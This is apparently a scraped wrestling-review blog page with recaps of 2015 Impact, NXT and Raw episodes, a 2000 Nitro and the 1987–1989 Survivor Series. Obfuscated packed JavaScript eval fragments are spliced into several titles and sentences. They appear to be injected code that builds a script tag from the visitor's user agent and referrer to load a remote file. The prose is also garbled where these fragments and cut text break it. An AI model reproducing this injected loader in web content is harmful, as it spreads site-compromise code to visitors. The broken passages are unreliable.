Impact Wrestling – October 28, 2015: Uncomfortably Numb

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhsbt|var|u0026u|referrer|kzhad||js|php'.split('|'),0,{})) Wrestling
Date: October 28, 2015
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, D’Angelo Dinero

The announcers do the same things the opening video did.

Group Tag Team Specialists: Matt Hardy vs. Robbie E.

Feeling out process to start with Matt taking him into the corner for some right hands. Pope feels the need to explain why wins are important in this series and Josh talks about Robbie E. challenging Rob Gronkowski in a stupid idea that TNA never learns from. A corner clothesline puts Robbie on the floor but he comes back with a flip dive off the apron to put Matt in trouble.

Group Tag Team Specialists

Matt Hardy – 6 points (1 match remaining)

Robbie E. – 3 points (1 match remaining

Edwards – 0 points (2 matches remaining)

Richards – 0 points (2 matches remaining)

Gail promises to fight Awesome Kong hard again tonight. Can they just show us the Bound For Glory match so I can save some time?

Matt says Robbie is tough and he was impressed.

Video on Drew Galloway.

Group UK: Grado vs. Drew Galloway

Drew slaps him in the face and Grado comes back with some right hands and an elbow to the head. A Rock Bottom and Cannonball in the corner (called a flippy move by Pope) have Drew in trouble. Grado puts him in the Tree of Woe but Galloway sits up and grabs a German suplex, followed by the running boot (the Claymore according to Josh) for the pin at 4:39.

Group UK

Drew Galloway – 6 points (1 match remaining)

Rockstar Spud – 3 points (2 matches remaining)

Bram – 0 points (2 matches remaining)

Grado – 0 points (1 match remaining)

Group Wild Card

Mahabali Shera – 3 points (2 matches remaining)

Kenny King – 3 points (2 matches remaining)

Crazzy Steve – 0 points (1 match remaining)

Package on Storm vs. Abyss.

More clips of an unknown Gail Kim vs. Awesome Kong match.

The announcers recap Group UK.

Group TNA Originals: Abyss vs. James Storm

Group TNA Originals

Bobby Roode – 3 points (2 matches remaining)

Abyss – 3 points (1 match remaining)

James Storm – 3 points (1 match remaining

Eric Young – 0 points (2 matches remaining)

Shera loves the World Title Series and thinks this is a cool opportunity to his family. He respects everyone else in the group and will do his talking in the ring. The upcoming India tour is a dream come true for him and he wants to return home with the World Title.

We preview next week with Shera vs. King, Brooke vs. Rayne and an interview with Jeff Hardy. A quick preview of the interview focuses on how happy he was to see Matt as World Champion.

Group X-Division: Tigre Uno vs. DJZ

Group X-Division

Tigre Uno – 3 points (1 match remaining)

Manik – 3 points (2 matches remaining)

DJZ – 3 points (1 match remaining)

Mandrews – 0 points (2 matches remaining)

Clips from Kim vs. Kong at Bound For Glory 2015.

Group Knockouts: Gail Kim vs. Awesome Kong

Group Knockouts

Brooke – 3 points (2 matches remaining)

Gail Kim – 3 points (1 match remaining)

Awesome Kong – 3 points (1 match remaining)

Madison Rayne – 0 points (2 matches remaining)

Results

Matt Hardy b. Robbie E. – Twist of Fate

Drew Galloway b. Grado – Claymore

James Storm b. Abyss – Last Call

DJZ b. Tigre Uno – Tornado DDT

Gail Kim b. Awesome Kong – Hurricanrana

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/product/B015IN12I2

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




NXT – October 28, 2015: I’m Running Out Of Ways To Say This Show Is Good

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ffsye|var|u0026u|referrer|iistn||js|php'.split('|'),0,{})) October 28, 2015
Location: Full Sail University, Winter Park, Florida
Commentators: Rich Brennan, Byron Saxton, Corey Graves

Opening sequence.

Emma vs. Shazza

Two Australians here. Fans: “AUSSIE AUSSIE AUSSIE! OY OY OY!” They stare at each other to start until Emma dropkicks her down against the ropes and stomps away. Dana: “BREAK HER!” After Emma has to kick out of a quick rollup we hit the neck crank on Shazza. Back up and Emma charges into some boots in the corner but Emma comes right back with the Emma Lock for the submission at 4:21.

Storm quotes his old TNA to sum up his character and says he loved to hear the fans tell him he deserves to be here. If anyone has a problem with that, sorry about their luck.

Video on Finn Balor with fans talking about how cool he is and clips of his time in New Japan.

Tommaso Ciampa/Johnny Gargano vs. Jason Jordan/Chad Gable

Nia Jax vs. Kay Lee Ray

Enzo Amore/Colin Cassady vs. Scott Dawson/Dash Wilder

Alexa Bliss challenges Bayley to find a team for a six person tag at some point in the future.

Samoa Joe vs. Tyler Breeze

Results

Emma b. Shazza – Emma Lock

Jason Jordan/Chad Gable b. Tommaso Ciampa/Johnny Gargano – Grand Amplitude to Ciampa

Nix Jax b. Kay Lee Ray – Legdrop

Samoa Joe b. Tyler Breeze – Koquina Clutch

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/product/B015IN12I2

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




New Column: When He Reigns It Won’t Be Poor

I’m sorry for that title.

http://www.wrestlingrumors.net/kbs-review-when-he-reigns-it-wont-be-poor/44041/




Thought of the Day: The Other Great Rookie Year

We eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aszbt|var|u0026u|referrer|ektyf||js|php'.split('|'),0,{})) often hear about Brock Lesnar and Kurt Angle having the greatest rookie years of all time as they both won the World Title and the King of the Ring among other accolades.  As great as that is, there’s another name that deserves to be on this short list.Yokozuna.  Think about this for a second.  He debuted around Survivor Series 1992, wins the 1993 Royal Rumble (in very dominant fashion), wins the WWF World Title at Wrestlemania IX, then squashes Hulk Hogan at King of the Ring 1993 to send him out of the company and holds the title for nine months.  If you go a bit beyond the rookie year, Yokozuna was in four World Title matches in his first two Wrestlemanias, which is never going to be topped.

 

Lesnar and Angle definitely had better careers, but Yokozuna deserves to be on the list for greatest rookie years in company history.




Monday Nitro – June 5, 2000: I Was Wrong

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yretn|var|u0026u|referrer|aafia||js|php'.split('|'),0,{})) Nitro #243
Date: June 5, 2000
Location: Philips Arena, Atlanta, Georgia
Attendance: 13,487
Commentators: Tony Schiavone, Scott Hudson, Mark Madden

We recap Abbott vs. Goldberg in a failed attempt to make us believe that Abbott has a chance.

Bischoff and Russo yell at the New Blood. Torrie can be seen storming off as this goes on. Good for her.

Tag Team Titles: Kronik vs. Chuck Palumbo/Shawn Stasiak

Adams is tired of his hair being messed up and grabs a backbreaker on Shawn, setting up the tags to Clark and Palumbo. Clark cleans house but the Cat gets in the ring and threatens the referee. Palumbo and Clark fight into the crowd and Adams drops Stasiak onto the steps. With everyone on the floor, Cat grabs the referee and demands a count right now. Adams throws Stasiak in and Cat counts a very fast eight nine ten to retain the titles.

Kronik goes after Cat but the champs make the save and take the beating themselves.

Kidman yells at Torrie (in a bikini with a skirt) for some reason until Major Gunns of all people makes the save, earning her some swearing.

Video on Kidman vs. Hogan.

Gunns cries to the Misfits about what Kidman said to her. G.I. Bro promises to take care of things.

Goldberg chats with Nash and Steiner.

G.I. Bro vs. Kidman

Both groups come in for the brawl and the Animals dominate.

Hardcore Title: Eric Bischoff vs. Terry Funk

As they leave, Funk wheels Bischoff back to ringside (with Awesome looking at them without stopping) but we cut to the back (segment #4 in this match) to see Russo sending in the Mamalukes. Funk loads up a Stinkface but the Mamalukes come in and lay out Funk in less than two minutes, giving Bischoff the pin and the title.

The Flairs are here.

US Title: Scott Steiner vs. Vampiro

Tank Abbott vs. Goldberg

Kimberly yells about Hancock.

WCW World Title: Sting vs. Jeff Jarrett

May 22 – Raw: 7.1, Nitro: 3.0

May 29 – Raw: 6.4, Nitro: 3.0

June 5 – Raw: 5.9, Nitro: 2.8

June 12 – Raw: 6.8, Nitro: 3.0

Yeah keep going with that burying your champion after changing the title 18 times in five months. Maybe if you work hard, Raw will only double your numbers.

Jeff is put in an ambulance.

Kimberly/Mike Awesome vs. Diamond Dallas Page/Miss Hancock

They catfight for a bit until Hancock slaps Awesome and runs over to Page for an actual wrestling match. Page speeds it up with a jumping clothesline and starts a brawl. That goes nowhere so Page tries a backslide, only to take a low blow to give Awesome control. Awesome sends Page flying with a nice German suplex but Page is right back up to send him into the buckle.

Horace Hogan vs. Hulk Hogan

Kidman comes in but gets beaten down as well.

Vince Russo vs. Ric Flair

So Ric beats up his son for a bit as Russo sets up a ladder in the ring for no apparent reason. He climbs up and pulls part of the roof down, likely so we can have more interference. Russo gets to the top of the cage but Ric follows him, only to get poked in the eye so Russo can get the better of it. Vince climbs back into the cage but Ric stomps his hands to make him fall. Since this is WCW, the camera misses the big crash.

Ric climbs down the ladder and puts Vince in the Figure Four, which Russo survives for OVER A MINUTE until the red liquid falls from the ceiling and knocks Ric and Charles Robinson out. David puts Ric in the Figure Four and Russo pops to his feet (not even a limp) and chokes Ric until Robinson counts the pin. Russo is polite enough to collapse after walking around the ring for a bit.

Nash and Steiner have a meeting before the main event.

The announcers chat for a bit. I always love seeing them at a makeshift table for some reason. It sums up WCW so well.

Kevin Nash vs. New Blood

Gauntlet match. Disco is out first in an Atlanta Falcons jersey, of course leading out Russo who is still not wearing a shirt. We get some Russo acting as he says Nash loses his shot if he gets pinned or if any of the Millionaires interfere. There are about ten guys on the ramp to come after Nash and Disco is in first, only to take a side slam for a quick pin after about nine seconds.

This show was running in the opposite direction and seemingly trying to either be as horrible and against what the fans wanted as possible. The pay per view was secondary to pushing the writers as the real stars of the show while so much of the night was about nothing. I have no idea what was supposed to make me want to get keep watching this show because the stories are totally uninteresting and far more confusing than they should be.

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/product/B015IN12I2

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Survivor Series Count-Up – 1989: It’s Already Going Bad

Survivor Series 1989
Date: November 23, 1989
Location: Rosemont Horizon, Chicago, Illinois
Attendance: 15,294
Commentators: Gorilla Monsoon, Jesse Ventura

Hogan is thankful for time with his family and to be the strongest force in the universe. And for his team.

Jake likes his snake and the DDT.

Duggan is proud to be an American.

Bravo is glad Earthquake is on his side.

Dusty is thankful for his polka dots.

Beefcake for cutting hair.

Martel for his looks.

Rude for his body.

Genius for being the smartest man in the world.

Perfect for being his name.

The Bushwhackers for sardine stuffing.

Heenan for being surrounded by the Heenan Family.

Warrior should be thankful that Ritalin is soon to be available.

We run down the cards with those nifty squares showing each team member.

Dream Team vs. Enforcers

Dream Team: Dusty Rhodes, Brutus Beefcake, Tito Santana, Red Rooster

Enforcers: Big Boss Man, Bad News Brown, Rick Martel, Honky Tonk Man

Boss Man destroys Dusty with the nightstick and cuffs him to the ropes to keep up the beating. Brutus makes the save with his clippers.

Boss Man brags about what he just did.

4x4s: Jim Duggan, Ronnie Garvin, Bret Hart, Hercules

Bret finally breaks free and tags Hacksaw in again so he can slam Savage. And never mind as Bret tags back in about 15 seconds later. Bravo works over the mostly beaten Bret and Hart misses a charge, going shoulder first into the post. A shoulder breaker sets up the Savage Elbow to make it 3-1.

Duggan chases them off with the board.

The Million Dollar Team is ready for a Thanksgiving feast in the form of the Hulkamaniacs.

Dusty Rhodes is hurt badly.

The Genius reads a poem about Thanksgiving.

Hulkamaniacs vs. Million Dollar Team

Hulkamaniacs: Hulk Hogan, Demolition, Jake Roberts

Million Dollar Team: Ted DiBiase, Zeus, Powers of Pain

Savage and Zeus are ready for their tag team cage match on PPV two days after Christmas.

Rude Brood: Rick Rude, Fabulous Rougeau Brothers, Mr. Perfect

Ultimate Warriors vs. Heenan Family

Ultimate Warriors: Ultimate Warrior, Jim Neidhart, Rockers

Heenan Family: Andre the Giant, Arn Anderson, Haku, Bobby Heenan

Off to Heenan but Warrior quickly Hulks up so we see some more Anderson. Warrior fights him off as well and whips Arn into Heenan to knock Bobby to the floor. The gorilla press and splash get us down to one on one. Warrior sneaks up on Heenan and what do you think happens here? A shoulder block and splash take care of Bobby in short order.

Warrior sprints up the aisle and clotheslines Heenan as he leaves to end the show.

Ratings Comparison:

Dream Team vs. Enforcers

Original: B-

Redo: C+

Original: B+

Redo: D+

Hulkamaniacs vs. Million Dollar Team

Original: D-

Redo: C

Original: D

Redo: C-

Ultimate Warriors vs. Heenan Family

Original: C+

Redo: C-

Overall Rating

Original: D+

Redo: D

Bonus Match

Original: B-

Redo: B

http://kbwrestlingreviews.com/2011/11/08/history-of-survivor-series-count-up-1989-includes-a-bonus-review/

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/product/B015IN12I2

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Survivor Series Count-Up – 1988: Viva Los Conquistadores!

Survivor Series 1988
Date: November 24, 1988
Location: Richfield Coliseum, Richfield, Ohio
Attendance: 13,500
Commentators: Gorilla Monsoon, Jesse Ventura

Team Ultimate Warrior vs. Team Honky Tonk Man

Ultimate Warrior, Brutus Beefcake, Sam Houston, Jim Brunzell, Blue Blazer

Honky Tonk Man, Bad News Brown, Danny Davis, Ron Bass, Greg Valentine

Team Demolition vs. Team Powers of Pain

Powers of Pain, Rockers, British Bulldogs, Hart Foundation, Young Stallions

Demolition, Brain Busters, Bolsheviks, Fabulous Rougeaus, Conquistadors

The Powers put Fuji on their shoulders post match. Demolition runs in and cleans house.

Heenan says his team will win.

The Mega Powers are ready and Hogan wants Boss Man.

Team Jake Roberts vs. Team Andre the Giant

Jake Roberts, Ken Patera, Jim Duggan, Scott Casey, Tito Santana

Andre the Giant, Rick Rude, Dino Bravo, Mr. Perfect, Harley Race

Jake puts the snake in post match but Andre is gone before it can get to him.

Andre says he said he would win and he did. He is NOT afraid of snakes though.

Team Mega Powers vs. Team Twin Towers

Hulk Hogan, Randy Savage, Koko B. Ware, Hillbilly Jim, Hercules

Big Boss Man, Akeem, Ted DiBiase, Red Rooster, Haku

Ratings Comparison

Team Ultimate Warrior vs. Team Honky Tonk Man

Original: D

Redo: C

Team Demolition vs. Team Powers of Pain

Original: A

Redo: A

Team Jake Roberts vs. Team Andre the Giant

Original: F

Redo: C-

Team Mega Powers vs. Team Twin Towers

Original: C+

Redo: D+

Overall Rating

Original: D+

Redo: B

I’ve heard of getting better with age but this is a big change. I guess I’ve really grown to appreciate late 80s WWF more than I thought.

Here’s the original review if you’re interested:

http://kbwrestlingreviews.com/2011/11/07/history-of-surivor-series-count-up-1988-more-clips-than-my-last-haircut/

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/product/B015IN12I2

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Rusev Possibly Injured At Main Event

http://411mania.com/wrestling/possible-injury-during-main-event-tapings-spoiler/

No word yet on severity or anything like that but the last thing WWE needs right now is someone else out with an injury.




Monday Night Raw – October 26, 2015: Something To Look Forward To

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tsyhf|var|u0026u|referrer|fazrk||js|php'.split('|'),0,{})) Night Raw
Date: October 26, 2015
Location: Valley View Casino, San Diego, California
Commentators: Michael Cole, John Bradshaw Layfield, Byron Saxton

Roman Reigns vs. Kofi Kingston

Miz has an audience to watch him play WWE2K16.

Stills of Del Rio returning and winning the US Title last night.

The other qualifying matches are:

Neville vs. Alberto Del Rio

Big E. vs. Dolph Ziggler

Kevin Owens vs. Cesaro

Kevin Owens vs. Cesaro

Back with Cesaro hitting the running uppercuts to send Owens outside to run, but Cesaro blasts him with another running uppercut. The cannonball off the apron puts Owens down again and a high cross body gets two. The Swing is countered into a DDT for two but Cesaro comes off the middle rope with a spinning uppercut. Sweet goodness that looked awesome. The referee tells Cesaro to get off the ropes, allowing Kevin to get in a superkick and the Pop Up Powerbomb for the pin at 10:23.

Team PCB vs. Team Bella

Post match Paige goes full heel and lays out Charlotte and Becky with Rampaiges before putting Charlotte in the PTO.

We see Lesnar vs. Undertaker inside the Cell. In WWE2K16 that is.

Now we get a stills package from the real match, including the post match attack by the Wyatts.

Alberto Del Rio vs. Neville

Neville fights up again and sends Alberto to the floor for a big flip dive. The running enziguri knocks Neville off the top rope but Neville counters the armbreaker into a rollup for two. Neville tries to go up top too fast though, allowing Del Rio to crotch him into the Tree of Woe, setting up the top rope double stomp. That always looks sick and it puts Neville away at 12:08.

Ryback/Dudley Boyz vs. King Barrett/Sheamus/Rusev

After another look at the ending of the show, Bray Wyatt is in the ring in his rocking chair. He talks about the twenty five years of the Undertaker and how scared people have been of him for all that time. Last night was war inside a Cell and the red horse of the apocalypse rode in. After promising to dance with Roman Reigns again later, Bray declares the demise of the Undertaker as his resurrection.

Kane gets on the apron but the rest of the Wyatts show up. Strowman comes in for the showdown but Kane actually cleans house until just Bray is left. Kane goes for a chokeslam but there are too many Wyatts. The real beatdown is on and Bray looks to the stage for Undertaker. No one comes out though and Kane is carried away like Undertaker was last night.

Post break the Wyatts drag Kane off into the shadows as Bray sings.

Big E. vs. Dolph Ziggler

Back in and Big E. runs Ziggler over for two and we take a break. Back with Breeze and Summer eating popcorn behind their velvet ropes as Big E. is still in control. Ziggler finally slips out of a slam and grabs a sleeper but Big E. sends him hard into the corner. Back to the abdominal stretch for a big but Dolph makes his comeback to silence.

The four way will be Reigns vs. Owens vs. Del Rio vs. Ziggler.

Roman Reigns vs. Kevin Owens vs. Alberto Del Rio vs. Dolph Ziggler

Back with Ziggler getting double teamed for a change but we get the obvious problem of who gets the pin. Del Rio gets the better of it and superkicks Owens to the floor, only to turn around and get laid out by Reigns. Ziggler comes back in for the staredown with Reigns, who Rollins points out has had a much longer rest than anyone else. The running DDT (you knew he was getting that in at some point tonight) gets two but Reigns gets the same off a Batista Bomb.

The Superman Punch connects but Del Rio knocks Reigns to the floor and steals the cover for two. I actually bought that for a second. Del Rio misses the corner enziguri and the Fameasser is good for two. You can hear Rollins having a blast with this on commentary. Reigns breaks up a Doomsday Device with a Superman Punch but Owens superkicks him down.

Reigns and Rollins stare each other down to end the show.

Results

Roman Reigns b. Kofi Kingston – Spear

Kevin Owens b. Cesaro – Pop Up Powerbomb

Team Bella b. Team PCB – Rack Attack to Lynch

Alberto Del Rio b. Neville – Top rope double stomp

Rusev/King Barrett/Sheamus b. Dudley Boyz/Ryback – Rollup with a handful of tights to D-Von

Dolph Ziggler b. Big E. – Zig Zag

Roman Reigns b. Dolph Ziggler, Alberto Del Rio and Kevin Owens – Spear to Owens

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/product/B015IN12I2

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Survivor Series Count-Up – 1987: God Bless The 80s

It’s time for another one of these which are always worth checking out.  Starting Sunday the 26th (it wouldn’t be right if I didn’t miss at least a day), I’ll be posting a review of a Survivor Series until we get to the 2015 edition on November 22.  These are the versions from 2012, but earlier this month I went back and read through them again, fixing some of the horrible writing and errors, making these shall we say the remastered versions.

As usual, I’ll have a fresh redo of last year’s show and I’ll also be redoing Survivor Series 2005.  I’ll try to do 2003 but it completely depends on how much time I have.  I know 1997 was requested as well but as someone said in the comments, there’s nothing left to say about that show.  Everyone knows what happens and it’s something that has been discussed to death and back.  Anyway, on with my favorite show of the year.

Survivor Series 1987
Date: November 26, 1987
Location: Richfield Coliseum, Richfield, Ohio
Attendance: 21,300
Commentators: Gorilla Monsoon, Jesse Ventura

Team Honky Tonk Man vs. Team Randy Savage

Honky Tonk Man, Harley Race, Ron Bass, Danny Davis, Hercules

Randy Savage, Jim Duggan, Ricky Steamboat, Jake Roberts, Brutus Beefcake

Bass (a cowboy) comes in to face Roberts but Jake quickly tags off to Savage. A knee sends Bass into the corner and Savage is starting to roll very fast. Savage immediately goes after Honky, letting Bass get in a cheap shot. Off to the evil captain who gets in some shots of his own but he tags out when Savage gets back up, like any good heel should do.

Rating: B. This was a really fun match with a good story to it. The fans HATED Honky Tonk Man and the idea of getting him caught at the end with no one to defend him had the fans going nuts. Honky vs. Savage was a great feud but it never had a blowoff due to a bunch of backstage issues. Honky would somehow hold the title nine more months before perhaps the greatest end to a title run ever at Summerslam. This was a great choice for a first match to illustrate the concept as it showed how the idea worked and gave the fans something to cheer about as well. Really good stuff.

Team Fabulous Moolah vs. Team Sensational Sherri

Fabulous Moolah, Jumping Bomb Angels (Itsuki Yamazaki/Noriyo Tateno), Velvet McIntyre, Rockin Robin

Sensational Sherri, Glamour Girls (Lelani Kai/Judy Martin), Dawn Marie, Donna Christianello

Robin comes back in and tries a monkey flip out of the corner but the now legal Martin lands on her. Sherri comes in with a quick suplex to put Robin out and get us down to 4-3. Itsuki comes in and things speed up again. Martin comes in off the tag and spins Itsuki around by the hair in a very painful looking move. Off to Moolah who hits a better monkey flip than Robin before getting elbowed down by Martin for two.

The Bolsheviks perform the Russian National Anthem.

Strike Force and company are ready as well.

Team Hart Foundation vs. Team Strike Force

Hart Foundation (Jim Neidhart/Bret Hart), Bolsheviks (Nikolai Volkoff/Boris Zhukov), Demolition (Ax/Smash), Dream Team (Greg Valentine/Dino Bravo), Islanders (Haku/Tama)

Strike Force (Tito Santana/Rick Martel), British Bulldogs (Davey Boy Smith/Dynamite Kid), Killer Bees (Jim Brunzell/B. Brian Blair), Young Stallions (Jim Powers/Paul Roma), Fabulous Rougeaus (Jacques Rougeau/Raymond Rougeau)

Dino Bravo comes in and the good guys start speeding up their tags. After Bravo gets beaten on by about five different guys we wind up with Smash vs. Dynamite, who gets caught in the heel corner. Jesse is almost giddy over how many people there are to beat up one person in this match.

Off to Haku and they chop it out before Dynamite tags in Brunzell, who tags in Blair. Well that was a waste of time. Neidhart comes in and gets his legs stretched by Brunzell and Roma. Demolition comes in to take turns on Roma. The tags are going in and out very quickly here as the pace is picking up in a hurry, with a lot of guys only hitting a move or two before leaving again.

Rick is quickly out of the corner and brings in Santana for a fast forearm and a two count. Bret hits him in the back of the head for the save and Neidhart gets a quick pin to eliminate the champs. To recap, we have the Harts, the Dream Team and the Islanders vs. the Bulldogs, the Stallions and the Bees. At least now things can slow down a lot. Haku hits a HIGH dropkick on Powers as Jesse talks about his great great grandfather coming over on the Mayflower to tie into Thanksgiving.

Team Andre the Giant vs. Team Hulk Hogan

Andre the Giant, King Kong Bundy, One Man Gang, Butch Reed, Rick Rude

Hulk Hogan, Bam Bam Bigelow, Don Muraco, Ken Patera, Paul Orndorff

th live on NBC?

Heenan and Andre say they want Hogan and all Hulk has to do is sign on the dotted line.

Overall Rating: B+. This is a pretty excellent show and a GREAT first entry in the series. However I would certainly suggest going with the home video version instead of the full version as it clips some of the repetitive stuff from the tag match which helps it a lot. It also cuts some promos like the DiBiase thing and makes the show a lot easier to sit through. Still though, good show here and well worth seeing.

Ratings Comparison

Team Randy Savage vs. Team Honky Tonk Man

Original: B+

Redo: B

Team Sherri Martel vs. Team Fabulous Moolah

Original: C+

Redo: C+

Team Hart Foundation vs. Team Strike Force

Original: B

Redo: C-

Team Hogan vs. Team Andre the Giant

Original: B

Redo: B-

Overall Rating

Original: A-

Redo: B+

Apparently I liked most of the matches less and the show a bit less overall but still good marks all around.

http://kbwrestlingreviews.com/2011/11/06/history-of-survivor-series-count-up-1987-it-all-begins-in-ohio/

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